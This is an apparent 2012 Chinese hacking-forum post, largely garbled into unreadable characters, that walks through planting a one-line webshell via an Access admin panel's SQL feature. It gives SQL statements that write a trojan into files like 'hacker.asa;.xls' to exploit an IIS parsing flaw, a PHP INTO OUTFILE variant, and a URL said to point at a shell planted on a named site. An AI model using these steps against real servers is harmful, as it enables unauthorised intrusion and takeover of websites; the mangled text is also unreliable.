admin 2012-9-13 17:53:58

ACCESSִSQLһ仰SHELL

ò׽˺̨ɶϴݰľС
webshellһֱòһԴ롣һִSQL
ļɺ̨ûʾ⹦ܡֱļִ֣ѡˣ
Ȼһ仰ľû뵽ɹˡ£
1.create table cmd (a varchar(50))
2.insert into cmd (a) values ()
3.select * into in D:\wwwroot\www.koohik.com\hacker.asa;.xls excel 4.0; from cmd
(ѱcmdݵΪ·һEXCELļ)
4.drop table cmd
IISBUGɹõWEBSHELL

ֱӲ˵http://www.chouwazi.com/data/xiao.asp;xiao.xlsһ仰

SQL˼ͣ
һ
һһAֶεı Ϊcmd ֶΪַ Ϊ50

ڶ
ڱcmdaֶβһ仰ľ

cmdaݵ·e:\host\chouwazi.com\web\data\EXCELļ

ľ
ɾcmd

Ϊԣ
Accessų́SQLִܵWebShell:
򵥣
Select 'aspһ仰ľ' into in 'd:/chouwazi.com/x.asp;.xls' 'excel 8.0;' from vote

Select 'phpһ仰ľ' into outfile 'F:/wwwroot/chouwazi.com/eval.php';

ִ̨SQL书(voteΪ֪)
ϣԴshellһ˼·
ҳ: [1]
鿴汾: ACCESSִSQLһ仰SHELL